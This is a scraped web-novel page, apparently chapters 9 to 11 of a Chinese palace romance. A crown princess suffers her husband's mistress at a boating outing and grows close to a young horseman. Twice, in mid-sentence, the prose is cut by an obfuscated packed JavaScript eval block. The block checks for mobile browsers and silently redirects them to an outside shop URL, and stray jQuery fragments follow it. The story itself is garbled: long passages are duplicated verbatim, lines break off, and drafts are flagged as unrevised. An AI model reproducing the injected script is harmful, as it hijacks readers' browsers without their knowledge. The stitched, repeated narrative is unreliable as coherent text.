手放在门边的谢知虞从未见过那么反复无常的人,上一刻还要禁她的足,下一刻就说要带她去游湖。
都说女人善变,要她说天底下最善变的是男人才对。
今日阳光不盛,不骄不躁的清风拂面,连带着今日游湖的人都多。
来到未见灼灼荷花瑞,只见荷叶罗裙一色裁的西湖,岸边已有乌篷小船伫立许久。
谢知虞在他走上乌篷船后,她提起裙摆正要过去,船板忽然被浪花打着卷往旁偏移。
眼见就要一脚踩空,湿了鞋袜,一只遒劲有力的手臂先扣住她的腰,拉至怀里,将她牢牢带到船上,并叮嘱了一句,“船头会晃,注意点别落下水了。”
如莲裙摆因着突然升高荡出层层叠叠,又翩跹多情地划过男人墨青衣摆。
当被男人搂腰搂在怀里,鼻间全被他清冷微涩雪松香给包裹住的那一刻,耳根泛红的谢知虞听到了心脏狂跳的响动。
眼睫微掀地抬起,撞入眼帘的是男人线条利索的下颌线,滚动的喉结。
她一直很清楚夫君有张极好的相貌,只是往往在他久居高位而盛满了上位者的凌厉气势中所被人忽视。
等站稳后,在外不得和丈夫过于亲近,否则会被认为不端庄的谢知虞马上同他拉开距离,长睫垂下遮住心尖悸动,“多谢夫君。”
她顿了顿,又说,“妾身以后都会注意的。”
夫君拉她,想来是担心她在这里出糗会丢了脸。
怀里骤离了温香软玉的楼怀玉好笑不已,颇有几分无奈地把她弄斜了的银镀金点翠镶珠宝菊花簪扶正,“岁岁,你我是夫妻,你为何总对我如此生份。”
是夫妻吗?心里泛起层层涟漪的谢知虞反复咀嚼着这句话。
进入船舱后,谢知虞才发现船身四面宽阔,只有中间留有顶用来遮阳避雨。
中间的四方小几上摆着一壶花茶,四色茶点,桌中间还摆有一个天青色花瓷瓶,里面斜斜插着几朵娇艳欲滴蔷薇花。
为防船身晃动,花瓶不稳落地,船主人还贴心的把花瓶顶部禁锢在桌面上。
对比船舱内的布置,当属里面还有另一个穿着石榴红交领襦裙,发间金玉琳琅作响的女人。她眉眼艳丽张扬,举手投足间自带一股媚态,光是坐在那里就美得令人无法移开目光。
这人,便是夫君的心上人,叶采萱。
坐在船舱里的女人露出一抹笑,红唇轻启带着丝丝挑衅,“夫人,我们又见面了,你倒是比上次见面要朴素很多。”
谢知虞想到刚才为他扶了自己,而心泛起涟漪的自己感到可笑,微微颔首,“叶姑娘。”
这不是谢知虞第一次见到她,但要说起她们的第一次见面,得要追溯到永嘉五年,她刚被宣旨成为太子妃后不久。
正值靡靡细雨落不尽的春四月,从早上醒来后,就一直坐在床边走神的谢知虞听见雨打窗棂声,没有担心雨滴飘进来打湿了她桌上抄好的佛经,反倒是把支窗的杆子撑开,好让那雨飘得更进来些。
好在早上的雨到午时就散了,谢知虞才得以出门去拿给祖母订好的寿礼。
让管事套了马车前往珍宝阁的路上,她的马车突然被人拦住。
马夫下去交涉时,马车帘子忽然被掀开,一张极具攻击性的娇艳美人脸陡然撞了进来,女人用着打量货物的眼神高高在上审视着她,最后捂着鼻子轻讽的笑了一声,“我还以为他选的太子妃会是个美人,如今瞧着倒像个乳臭未干的小孩,真丑。”
从小到大,从未被人说过丑的谢知虞没有丝毫慌张,被侮辱后的恼羞成怒,反倒是镇定自若的点出她的身份,“想来你就是殿下养在外面的叶姑娘了。”
本意是过来警告她,顺带羞辱她的叶采萱顿时像只被踩中尾巴的猫,“闭嘴!什么叫做我是他养在外面的,我和玉郎分明是两情相悦,要不是你不要脸横插一脚,现在玉郎该娶的人是我才对。”
谢知虞歪了歪头,带着天真的不解,“既是两情相悦,为何他不娶你,据我所知,要是真爱一个人,肯定会把全天下最好的都捧到她面前,而不是让她受了委屈。”
“其实我也想知道,为何太子会娶了我,而不是叶姑娘。”
那天她为逞一时口舌之快,换来的是太子给她送了本女范捷录,让她罚抄二十遍只为给他心上人出气,明里暗里指责她不够大度,善妒不容人,恐难以担当太子妃之位。
吓得祖父母父母亲惶恐不安,生怕会把册封她为太子妃的旨意收回。
那段时间,也是她在谢家过得最艰难的一段时间。倒让她明白了一个道理,夫君的心上人能羞辱她,辱骂她,栽赃陷害她,她都不会还回去,只能默默忍受。
“你怎么来了。”楼怀玉对她的到来,如今仅剩下厌烦,并没有惊喜。
“玉郎好几天没来找我了,我想你了,自然就来找你了,免得你都忘了我这个人。”叶采萱犹如菟丝花柔若无骨攀上男人手臂,余光扫向一旁的谢知虞,略带挑衅道,“夫人该不会不欢迎我来吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563065|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>叶采萱起先是厌恶,嫉妒,现在是仇恨这个霸占了本该属于她太子妃位置的女人,抢了自己的太子妃之位就算了,现在还开始抢她的丈夫,她如何能接受。
所以在得知到玉郎要带她来游湖时,明知他再三告诫不让自己出门,仍鬼使神差地跟了上来。
现在的她什么都没有了,更不能失了他的宠爱。
谢知虞摇头,“不会。”
要不是船已经离岸了,她现在都想直接回到岸上,免得打扰了夫君和他心上人的相处。三人行中,谢知虞一直知道她是多余的那个。
一如她名字里有个多余的虞。
把手从她怀里抽出的楼怀玉把糕点递过去,“我记得你爱吃白玉霜方糕。”
“多谢夫君。”谢知虞看着递来的糕点,确实是她喜欢吃的,虽不明白夫君为何突然对自己那么好,但她更怕的是自己会沉沦于在他给的美好假象里。
这是她所不想面对,亦是她所惧怕的。
平静的湖面中,忽然因着叶采萱一句,“玉郎,喜欢吃甜食的是我,可不是虞妹妹。”而泛起层层涟漪。
叶采萱着词咬重“虞妹妹”二字,像是要在身份上占足便宜,点明先来后到。
要是之前,谢知虞应该会否认她母亲只生了她一个女儿,如今只是声过耳畔,风过不留痕。
“玉郎,我们就这样坐着游湖实在是太无聊了。”手肘支在桌面,半托雪腮的叶采萱铺垫结束,下巴微扬地看向谢知虞,狐狸眼流转间烟波潋滟,“我在虞妹妹没有出阁前,就听过不少虞妹妹善琴技的美名,不知今日可能一饱耳福。”
忍无可忍的楼怀玉低声呵斥,“胡闹,你不想游湖就给我回去。”
她这是把他的妻当什么了,花楼里供人评头论足取笑的乐妓吗。
从未被他凶过的叶采萱愣了一下,最后更是带着任性的胡搅蛮缠,“我怎么就胡闹了,你以前又不是没有让她给我弹过曲子,怎么这一次就那么金贵了。”
刹那间,打翻手中茶水的谢知虞脸上的血色散了大半。
因为之前确实有过几次,夫君说想要听自己弹琴,但是让她隔着院子弹。原来,是想要用她来讨好他的心上人。
原来自己哪怕是他明媒正娶的妻,在他眼里都不过是一个能随意供他讨好心上人的物件。
一向对万事运筹帷幄的楼怀玉罕见地无措起来,正要寻自己的妻子解释,“岁岁,我………”
不曾理会裙摆茶渍的谢知虞已然起身打断他要说的话,话里听不出喜怒,只是一贯的清冷淡然,“既然叶姑娘想听,我又岂会拒绝。”
在她转过身要去拿一旁的焦尾琴,一只写满清癯的手拽过了她的手腕,“不想弹就不要为难自己,有我在。”
谢知虞某眸看了眼握住自个手腕的那只手,不动声色的抽开,自嘲一声,“妾身已经为叶姑娘弹过多次了,又不缺这一回,不是吗?夫君。”
这样的他,只会让谢知虞感到虚伪。
谢知虞没有理会他听后是什么反应,只是拿过琴后深吸一口气走出船舱,来到船头坐下,素手轻拨琴弦调音。
其实她并不擅琴,她擅琵琶,而琵琶在世家大族里属于下九流的妓娼一流。
调试琴弦后,谢知虞弹了一首《咏荷》琴声婉转悠扬,如同山涧流水涔涔,又似盛暑天里,青梅叮咚一声落进盛满冰水的白瓷碗里。
一时之间,原本说笑打闹中的画舫中人,都纷纷探出头来,好奇是谁弹的琴。
叶采萱没想到她不愧是谢家女,居然连这样的羞辱都能忍下来,红唇翘起带着恶意,褪下腕间戴的螺钿花丝金镯扔在她脚边,“虞妹妹真不愧是京中才女,换我,我可弹不出那么好的曲子。要不是我身上没带银子,我定要打赏虞妹妹一回。”
“我虽然身上没戴银钱,这只玉郎送我的镯子倒是很适合虞妹妹,毕竟我这个当姐姐,总不能白听你弹了一回曲子。”
10. 第 10 章
【还没修】
【未修错别字和病句】
“夫人果真不愧是京中才女,换我,我可弹不出那么好的曲子。要不是我身上没带银子,我定要打赏夫人一回。”
“够了。”
“好啊,你居然凶我!”
谢知虞看着怒气冲冲远去的叶姑娘,又看了眼仍站在原地,面沉凝霜的丈夫,若早知会这样,她就不应该跟着出来的,“夫君,你不去追叶姑娘吗?”
“我说好了今天陪你,又怎会失约。”
“扬州美食一绝,今天正好尝下。”
从湖边离开后,两人去了城中茶肆。
两人刚上到二楼,一个大腹便便的男人走了过来,带着讨好的谄媚,“小赵,没想到会在这里遇到你。”
“今天是什么风把小赵这个大忙人都给吹来了啊,前几日我想请你喝酒,结果都找不到你人。”
谢知虞闻声转过身去,楼怀玉声如初冬霜雪的解释声落下,“我携内子过来游湖。”
谢知虞走了过来,“张老板好。”
又看向跟在张老板身后的两位,猜测出她们的身份,“张夫人,张小姐。”
张夫人瞧了她一眼,拉过她的手满是亲昵,“原来你就是小赵的夫人,生得如此漂亮,难怪小赵不愿意带你出来。一开始他说他成婚了,我们都还不信呢。”
不喜欢和旁人亲密接触的谢知虞不动声色把手抽回,“我身体不太好,所以不大出来走动。”
张夫人被驳了面子,心下略有不满,“这要是身体不好,只怕会对子嗣有碍啊。”
“多谢夫人关心,我已经在调理身体了。”谢知虞并不想要孩子,但她知道她必须得有个孩子。
无论是对宫里,还是谢家,她都得有个孩子才好交代。
原本和张老板说好的楼怀玉望了过来,“多谢张夫人关心,我和夫人还年轻,并不打算那么早要孩子。”
张夫人面色讪讪,“虽说你们还年轻,可要孩子一事还是得早点比较好。”
张老板说既然遇到了,干脆一起去包厢里吃饭。
张小姐冷眼瞥了谢知虞一眼,“你就是赵大哥的妻子,看着也不怎么样吗。也不知道赵大哥怎么就看上你了。”
谢知虞对她贬低嘲讽的话并不在意,只是反问了一句,“张小姐是喜欢我夫君吗?”
张小姐被戳中了心思,并不恼,反倒洋洋得意的昂起高傲的头颅,“赵大哥这样的人中龙凤谁不喜欢,要是我能比你遇到赵大哥,赵大哥娶的肯定是我。”
谢知虞抿了一口茶水,略带诚恳的问,“所以你是想要当妾吗?”
张小姐瞬间被气得涨红了脸,“什么妾,本小姐才不会当妾,要当也是当平妻。”
“可是本朝立国以来,从未承认过平妻,就算有,也只是在些商贾一流中。平妻虽说得好听,本质上还是妾。”
气得脸都绿了的张小姐鼻间溢出冷哼,双手抱胸别过脸对她冷哼道,“我倒是明白赵大哥为什么不喜欢你了,像你这样的女人连我见了都讨厌。”
“就算他不喜欢我,我也是他明媒正娶的妻子。”谢知虞从未想过会得到丈夫的喜欢,因为她知道丈夫一直有心上人,她要做的,就是恪守妻子的本分。
“你们刚才说了什么。”楼怀玉是听到了他们在说什么,就是想着她能主动开口。
“没什么。”
楼怀玉并不打算就此揭过,“你就没有什么要和我说的吗,岁岁。”
他很少喊她岁岁,若是有,就是在带着不悦的时候,要是生气,就应该是连名带姓喊她谢知虞,好在他从来没有对自己太生气过。
谢知虞不明白他为什么会问这个,仍是摇头,更不明白他为什么会突然生气。
有时候她对他捉摸不透,外面的人都说他是个疏离克制的君子,可对谢知虞来说,他更像是阴晴不定,因为自己不知什么时候就会惹了他生气。
夜里,在男人的手从衣服里探入时,谢知虞第一次生出了拒绝之意,“夫君,你身上的伤?”
男人说罢,翻过身将人覆雨身下,“只是小伤而已。”
谢知虞不知道自己做错了什么,惹了夫君生气,只知道今晚上他要得又凶又狠,完全失了平日里的淡然。
难道是因为他和叶姑娘吵架了,叶姑娘又闹着要走吗?
浑身酸疼的谢知虞醒来后,目光落在放着信封的衣柜里,眼神像烫到一样迅速收回。
不知道他给自己写了什么?
要是约她见面,但她没有去,会不会显得很失礼?
要真是约自己见面,但自己迟迟没有去赴约,他会不会继续等下去。
内心天人交战的谢知虞想要去看信里写了什么,那本女戒又
这都第二天了,他应该明白自己不会过去,应该不会再等了吧。
“夫人,你在想什么,奴婢喊了你好几声你都没有理奴婢。”
谢知虞犹豫了许久,方才出声道:“你帮我去马场看下,最近骑马的人多不多?”
她要去骑马的消息,没到夜里就传到了楼怀玉的耳边。
晚上坐在一起吃饭时,楼怀玉眸光落在她身上,“夫人想要去骑马?”
听见这道声音的谢知虞头皮发麻,还没等她找好说辞,单薄的细肩上就先搭上一只清癯的手腕,“可我记得,岁岁并不会骑马。”
他分明没有多说什么,却令谢知虞胆战心惊,唯恐他是发现了什么。
“你要是想学骑马,等我有空了陪你。”
本该是在亲密不过的夫妻,谢知虞只觉得有寒意从脚底往上席卷,咬了下舌尖才让自己镇定下来,“夫君是要出门吗。”
指腹摩挲的楼怀玉点头,目光又落在她身上,“夫人若无事,不妨和我一道。”
“妾身今日来了月信,不便出门。”
“既来了月事,这几日就在家里好好休息。”楼怀玉离开前,又转过身说了句,“我今晚上回来吃饭。”
“好,妾身等夫君回来一同用膳。”直到送他出门,坐上马车离开后,谢知虞才后知后觉的察觉到。
夫君最近陪在她身边的日子,远比之前要多。
他就不怕那位知道了,从而生气的大闹起来吗?
谢知虞还能回想到,在他们真正圆房后,夫君那位心上人气急得在夫君脖颈挠出了几条血印。
夫君那次好似真的生气了,既一连一个多月都不去寻她,最后还是那位伏低做小才才关系破冰。
一连三日,许拾安都没有等到她来,该不会是她收到来信。
推开门的门房见是个眼生的少年,疑惑道:“你好,请问你找谁?”
在马场等了许久,都没有等到她的许拾安打算亲自过来,“请问赵老爷在府上吗?”
“老爷和夫人出门了,恐怕得晚点才会回来。”门房又问,“你是哪家的,来找我们老爷有什么事,晚点等老爷回来我好转告给他。”
“谢谢兄台,不过我今天过来的事,还请你保密不要告诉你家老爷。”许拾安没想到她出去了,好在只是出去了,而不是离开扬州。
一想到她会离开扬州,像是有人突然扯着他头皮,拉拽着眼皮往上翻。
谢知虞不知道他要去哪,唯像个影子跟在左右。
晚上,谢知虞回来后,青吉就把今天发生的事说出来,“夫人,今天有人来找老爷,是个模样很年轻的公子。”
“是哪位公子?”
青吉摇头,“不过门房说那位公子束着马尾。”
谢知虞心中又惊又怕,她怎么知道自己住在这里的,哪怕她和对方什么都没有发生过,但她仍是感到了心慌。
“你今天不是跑马了。”
“你说,我是不是做错了事惹对方生气了。”
好友一听,顿时来了几分兴趣,“你说说,你做了什么惹了对方生气。”
许拾安忽然感觉可笑,“没什么。”
等回到屋里,拿出用帕子抱着,放在怀里的簪子。
也不知道什么时候才能和她再见。
自己写了送给她的信,他有收到吗?
他丝毫不知,她送出去的那封信正被人压在箱底下,连同他的那根发带放在一起。
谢知虞担心他会再找来,第二日就准备去马场。
只是没有想到在出城的路上,正好遇到对方。
“赵夫人,好巧,你也是要去跑马场吗。”
周围有人,谢知虞不好意思直说她的簪子,遂点头,“许公子也是去城南骑马吗。”
“看来我们想到一块去了,在下正好要去城南。”
等两人前后脚来到城南跑马场后,许拾安牵起一匹马走来,询问道:“赵夫人会骑马吗?”
谢知虞摇头。
她从小学的是如何当好一个主母,骑马这些和她向来都是无关的。
“要是赵夫人不介意,我来教你骑马如何。”
“不是我吹,我的骑术可谓称得上是一等一的好,保证能教会夫人骑马。”
“我天资愚笨,怕是会让许公子生气。”
“怎么会,我一直认为天底下没有学不会的学生,只有教不会的夫子,夫人还是莫要妄自菲薄为好。”
“夫人要是害怕的话,可以靠在我怀里。”
“不用。”
太近了,这是她除了夫君以外,第一次和个陌生男人靠那么近。
谢知虞感受到自己的心脏越跳越快,快到好像要克制不住了。
当他的掌心覆盖上自己手背时,谢知虞应该第一时间把她抽走,和他拉开距离,并大骂他是个登徒子。
可是这一刻的她没有把手抽走,反倒是放任这种背德的情感在蔓延。
等下了马后,脸颊通红的谢知虞连看他的勇气都没有。
“夫人是和谁去了马场。”
“许公子,我家老爷请你进来用膳。”
许拾安没想到对方会主动邀请自己吃饭,眼梢一挑,哪怕明知就是个鸿门宴也不害怕。
他倒是要看他葫芦里卖的到底是什么药。
何况有些事,做了就是做了,他没有一点后悔,要说后悔,唯有后悔自己没有早一点下定决心,导致平白浪费了很多不必要的时间,这才是最让她感到恼火的。
谢知虞想要阻止他来吃饭的,但又不知道什么理由,何况还有下人在旁边看着,她要是真的出了声,岂不是坐实了此地无银三百两。
谢知虞怎么都没有想到,他会邀请许拾安来用饭,刚才他在自己掌心留下的炙热触感还在。
更担心夫君是不是发现了什么,强压下心头不安,出声劝道:“我今天已经麻烦了许公子一天了。”谢知虞对上他的眼睛,好似自己所想被他给看完全看穿了一样心虚。
“既然赵老板诚心邀请了,我要是拒绝反倒说不过去。”
“夫人,许公子怎么来了。”
“许公子有什么忌口或者不吃的吗?”
“我这个人对吃的不挑,唯独不喜欢吃折耳根。”
谢知虞弄不准他的口味,就让厨房做了甜口辣口还有清淡三种口味。
只是坐下来后,谢知虞是头皮发麻,亦是不安的。
饭菜还没上桌前,楼怀玉问了句,“许公子是哪里人氏?”
许拾安没回,直接反问道:“赵老板不知道在问别人前,得要自己先自我介绍吗。”
“许公子倒是快人快语的心直口快。”
“我好歹是个混江湖的,可学不来弯弯绕绕那一套。”他这一句话,就差没有直接骂楼怀玉心眼多了。
楼怀玉搁下手中茶盏,眸光锐利落在他身上,“许公子是如何和我夫人认识的。”
“上次庙会,我见夫人快要摔倒了就好心扶了夫人一把。当时要不是我正好遇到,只怕令夫人不只是摔倒那么简单。”许拾安就差没有直说,你连自己夫人都照顾不好,如何配当别人丈夫。
“这件事内人并未和我说,想来是内人认为不过是件无关紧要的小事罢了。”那晚她回来的时候,楼怀玉是看见了她受伤的手。
他没有主动去询问,就是想要让她主动对自己开口,依赖他一回,和他撒个娇。
可她一声不吭的模样,完全令他心生不悦,以至于当没有看见她掌心的伤。
很快,饭菜端了上来。
谢知虞正要去属于她的位置坐下,冷不防被握住手腕,拉着在楼怀玉身旁坐下。
许拾安为客,坐在对面。
楼怀玉夹了一筷子菜到她碗里,“我记得夫人很喜欢这道菜。”
吃饭的时候,从未享受过他给自己夹菜的谢知虞心脏快要跳到嗓子眼,唯恐他是察觉到了什么,“多谢夫君。”
但是在看见夹进碗里的鸡块,不知道夫君是不是忘了,她从来不吃加了香菜的菜。
“赵老板和令夫人真是感情极好。”许拾安目睹着这一幕,没由来感到心口堵得慌,更多的是嫉妒。
那种想要把他取而代之的嫉妒。
“我夫人年纪小,我身为丈夫自然得要多照顾她一二。”楼怀玉见她迟迟没有动自己夹给她菜,正要出声。
谢知虞只能忍着不喜,把他夹进碗里的鸡块吃掉。
谢知虞不知道他们这一顿吃得怎么样,反正她是吃得食不知味,唯盼求快些结束。
“许公子下次想来府上做客,可提前说声,我和夫人好准备。”
“一定,何况赵老板府上的饭菜甚合我胃口,就怕以后我来蹭饭的次数多了,赵老板不要嫌我才行。”
“怎会。”
等人走后,一直在旁默不作声的叶从安问:“主子,可要属下去查下他?”
“不必。”
许拾安骑马回去的路上,难免忧心那个男人是不是看出了什么。
可他并不觉得自己做错了,他对自己夫人不好,凭什么不能让别人对他夫人好。
谢知虞在丈夫亲自送许拾安出去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563066|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,才惊觉自己不知何时出了一身冷汗,身上黏糊糊的极为不适,就让下人抬了热水进来给自己沐浴。
人刚浸入温热的水里,落地屏后就有脚步声走来,微凉的指尖搭上她的肩,令人激起满身鸡皮疙瘩,“夫人没有忘记我之前说的话吧。”
“夫君说的,妾身一直记得。”谢知虞不知道他到底是知道了,还是
“岁岁,你不是最听夫君的话吗。”
楼怀玉端起姜汤一饮而尽后,问,“你就没有什么想问的吗。”
她有很多想问的,但她知道就算问了,他不一定会说,只是轻轻摇头,“无论夫君做什么,夫君总有自己的道理。”
楼怀玉扫了她一眼,“谢知虞,你知不知道这样的你很无趣。”
无趣到令他生气。
“妾身知道。”她从小到大都知道她是一个无趣透顶的人,要不然为何父母祖父祖母喜欢的永远都是弟弟妹妹,如今是连她的丈夫,也终于要开始对自己厌烦了吗。
楼怀玉瞬间没有了和她交谈的yu望,伸手轻摁眉心,“你先睡吧,我今晚上睡书房。”
楼怀玉在转身离开时,又说了一句,“明日随我去参加李大人举办的宴会。”
这句话很轻很轻,没一会儿就被外面的倾盆大雨给盖过。
谢知虞知道是不对的,可她却忍不住想要让自己放纵一回。
那天过后,楼怀玉总在其他地方神出鬼没的就为了蹲她。“赵夫人,没想到我们又见面了,你说这算不算是一种有缘。”
“扬州那么大,有些人一辈子都见不得几次,我们可是短短几次就见到了四次。”
夜里睡着后,谢在虞忽然做起了一个光怪陆离的梦。
梦里是寒风化为尖刃剐得皮肉生疼,霜雪教诲的十一月份,冷得连呼出的气息都打着白旋儿。
站在冰棱屋檐下,身着桃枝藕色夹袄的双环髻小丫鬟正冷得直跺脚,两只手不断的放在嘴边哈气才不至于让自己冻僵,心里也跟着埋怨起这鬼天气为何还不放晴。
随后梦境一转,是她尚未嫁入东宫前的一些往事。
永嘉五年间,正值靡靡细雨落不尽的春四月。
从早上醒来后,就一直坐在床边走神的谢知虞听见雨打窗棂声,没有担心雨滴飘进来打湿了她桌上抄好的佛经,反倒是把支窗的杆子撑开,好让那雨飘得更进来些。
“娘子,外面落了雨,你怎么还开着窗,也不担心风寒入侵,浸染了风寒。”侍女青吉忙上前关了窗,随后又笑道,“婢子听说殿下今日回来了,想来殿下是急着赶回来准备和娘子的大婚。”
“要婢子说,虽然太子已有心上人,但是对娘子却是实打实的好。”
“等不久后娘子入主东宫,想来夫人得知此消息后,身体定然会好转,娘子也不必再每日都那么累了。”
对于她的话,不过是从耳边进入,又落于脑后的谢知虞伸出手,接住一滴落在掌心中的雨水,近乎呢喃般自言自语:“下雨了。”
随后又抬眸望着下得并不大的雨,抿了抿唇,轻声道:“带上油纸伞吧,要不然我们该去迟了。”
也将青吉原本想说的话卡在了喉间,视线划过娘子那张恬静秀美得如晨起后沾露茉莉的脸,心中跟着涌上无尽的心疼,怜悯。
谢知虞将桌上抄好的佛经装册好后,担心雨水会将纸张打湿,又寻个黄梨木箱装进去。
忙取了柄油纸伞的青吉跟在后头,道:“娘子,这箱子沉,还是让婢子抱着吧。”
“不用,你打伞的时候注意点脚下,不要被绊倒了。”走到大门外的谢知虞刚说完,身旁就有一辆马车疾驰而来,轮子滚动中碾轧进泥坑里,溅落起漫天的泥点子。
那泥点子又跟着落在她们身上,污了新做的衣裙。
随着马车的远去,躲避及时的谢知虞只来得及看见锦帘掀开后露出的半边侧脸。
是个姑娘,她好像见过那位姑娘,但是一时之间又想不起来是在哪里见到的,唯一知道的是,那位姑娘很厌恶她。
如此厌恶自己的,谢知虞唯一想到的,只有那位传说中被自己未婚夫,太子殿下的心上人,那位绝不做妾,宁可当外室的叶姑娘。
如果自己是她,想来也会讨厌莫名其妙抢了自己位置,还抢了自己丈夫的女人吧。
她虽然能理解,不代表就会对她对自己做的事视若无睹,任由她欺负自己。
谢知虞不知梦里是在什么地方,但能感觉到自己心脏像是被一只无形的大手给死死捏住。
“不是,你喜欢别的姑娘都行,但你怎么能喜欢一个成婚过的,你知不知道你这种行为叫什么。”
“叫下作,下流。”
“她丈夫和她感情不好,我这叫救她逃离苦海,属于大功德一件,何况她丈夫只是个普通商人,哪里比得过我能给他的生活。”
“你做什么。”
“我得找个大师给你驱驱邪才行,你现在的样子一看就是中邪了。”
“你去哪里回来了,满脸春心荡漾。”
“你该不会去找那位夫人了吧,要是被她丈夫知道了,就不怕到时候打断你的腿。”
“她丈夫对她不好。”
好友因他没由来的两句话摸不清头脑,“她丈夫对她不好和你有什么关系,那也是别人房里头的事。”
少年没理会好友的话,只是眼神坚定的重复着一句,“她夫君对她不好。”
更有一个胆大的想法浮现于脑海中,既然她的丈夫对她不好,为什么不能为她换个丈夫。
“今天骑马玩得开心吗。”
谢知虞没想到他会知道自己去骑马,那他是不是也知道了她和别的男人共乘一马的场景。
原本残留的高兴,顷刻间是小脸煞白不见一丝血色。
“我没有限制你出行,交友的意思,只是孤希望你能记住自己的身份,太子妃。”
“夫人,有人给你送来了糕点。”
谢知虞对这个糕点是心虚的,更是恐慌的,生怕会被夫君看出些什么。
天底下任何一个男人都不会允许自己的妻子背叛,哪怕她根本没有想过背叛。
“我不吃,你们分着吃就好。”
“夫君,那里那么危险的,你就不能不去吗。”
“他们是我们的百姓的,我怎么能丢下他们不管,要是我真丢下他们,和那草菅人命的暴君有何区别。”
“怎么会突然有疫情出现。”
“夫人不好了,老爷,老爷在疫区。”
谢知虞听到这个消息时,险些两眼一黑直接昏过去,但她知道自己不能昏。
“那个男人他根本就不爱你,否则在你宽衣解带照顾他的时候,他的嘴里不可能会唤别的女人名字。”
这一次在少年捧起脸亲吻自己的时候,谢知虞没有拒绝。
就任由自己沉沦下去。
就一次,就只有这一刻。
往后他们就只是桥归桥,路归路的关系。
11. 第 11 章
【不好意思,上一章修了,这一章还没修】
“夫人,说来我们在汴京都没有骑过马呢。”
骑马吗?
谢知虞幼时是羡慕族弟们能跟着家中长辈,夫子学骑马的场景。
她也想要学,但因她是女子,平日里连接触到马的机会都没有。
又一次家里办宴会,她趁着没有人在的时候偷偷跑去马厩,想要学族弟他们那样骑马。
好在腿伤得不是很重,她年龄小就算骨头被打断了,也会恢复比常人要快。
可是自那天过后,府上的马开始养在外面的庄子,即便有几匹马放在府里,周围都会派人盯着,杜绝了她所有能接近马的机会。
谢知虞心中又惊又怕,她怎么知道自己住在这里的,哪怕她和对方什么都没有发生过,但她仍是感到了心慌。
“你今天不是跑马了。”
“你说,我是不是做错了事惹对方生气了。”
好友一听,顿时来了几分兴趣,“你说说,你做了什么惹了对方生气。”
许拾安忽然感觉可笑,“没什么。”
等回到屋里,拿出用帕子抱着,放在怀里的簪子。
也不知道什么时候才能和她再见。
自己写了送给她的信,他有收到吗?
他丝毫不知,她送出去的那封信正被人压在箱底下,连同他的那根发带放在一起。
谢知虞担心他会再找来,第二日就准备去马场。
只是没有想到在出城的路上,正好遇到对方。
“赵夫人,好巧,你也是要去跑马场吗。”
周围有人,谢知虞不好意思直说她的簪子,遂点头,“许公子也是去城南骑马吗。”
“看来我们想到一块去了,在下正好要去城南。”
等两人前后脚来到城南跑马场后,许拾安牵起一匹马走来,询问道:“赵夫人会骑马吗?”
谢知虞摇头。
她从小学的是如何当好一个主母,骑马这些和她向来都是无关的。
“要是赵夫人不介意,我来教你骑马如何。”
“不是我吹,我的骑术可谓称得上是一等一的好,保证能教会夫人骑马。”
“我天资愚笨,怕是会让许公子生气。”
“怎么会,我一直认为天底下没有学不会的学生,只有教不会的夫子,夫人还是莫要妄自菲薄为好。”
“夫人要是害怕的话,可以靠在我怀里。”
“不用。”
太近了,这是她除了夫君以外,第一次和个陌生男人靠那么近。
谢知虞感受到自己的心脏越跳越快,快到好像要克制不住了。
当他的掌心覆盖上自己手背时,谢知虞应该第一时间把她抽走,和他拉开距离,并大骂他是个登徒子。
可是这一刻的她没有把手抽走,反倒是放任这种背德的情感在蔓延。
等下了马后,脸颊通红的谢知虞连看他的勇气都没有。
“夫人是和谁去了马场。”
“许公子,我家老爷请你进来用膳。”
谢知虞怎么都没有想到,他会邀请许拾安来用饭,刚才他在自己掌心留下的炙热触感还在。
更担心夫君是不是发现了什么,强压下心头不安,出声劝道:“我今天已经麻烦了许公子一天了。”谢知虞对上他的眼睛,好似自己所想被他给看完全看穿了一样心虚。
“既然赵老板诚心邀请了,我要是拒绝反倒说不过去。”
“夫人,许公子怎么来了。”
“许公子有什么忌口或者不吃的吗?”
“我这个人对吃的不挑,唯独不喜欢吃折耳根。”
谢知虞弄不准他的口味,就让厨房做了甜口辣口还有清淡三种口味。
只是坐下来后,谢知虞是头皮发麻,亦是不安的。
饭菜还没上桌前,楼怀玉问了句,“许公子是哪里人氏?”
许拾安没回,直接反问道:“赵老板不知道在问别人前,得要自己先自我介绍吗。”
“许公子倒是快人快语的心直口快。”
“我好歹是个混江湖的,可学不来弯弯绕绕那一套。”他这一句话,就差没有直接骂楼怀玉心眼多了。
楼怀玉搁下手中茶盏,眸光锐利落在他身上,“许公子是如何和我夫人认识的。”
“上次庙会,我见夫人快要摔倒了就好心扶了夫人一把。当时要不是我正好遇到,只怕令夫人不只是摔倒那么简单。”许拾安就差没有直说,你连自己夫人都照顾不好,如何配当别人丈夫。
“这件事内人并未和我说,想来是内人认为不过是件无关紧要的小事罢了。”那晚她回来的时候,
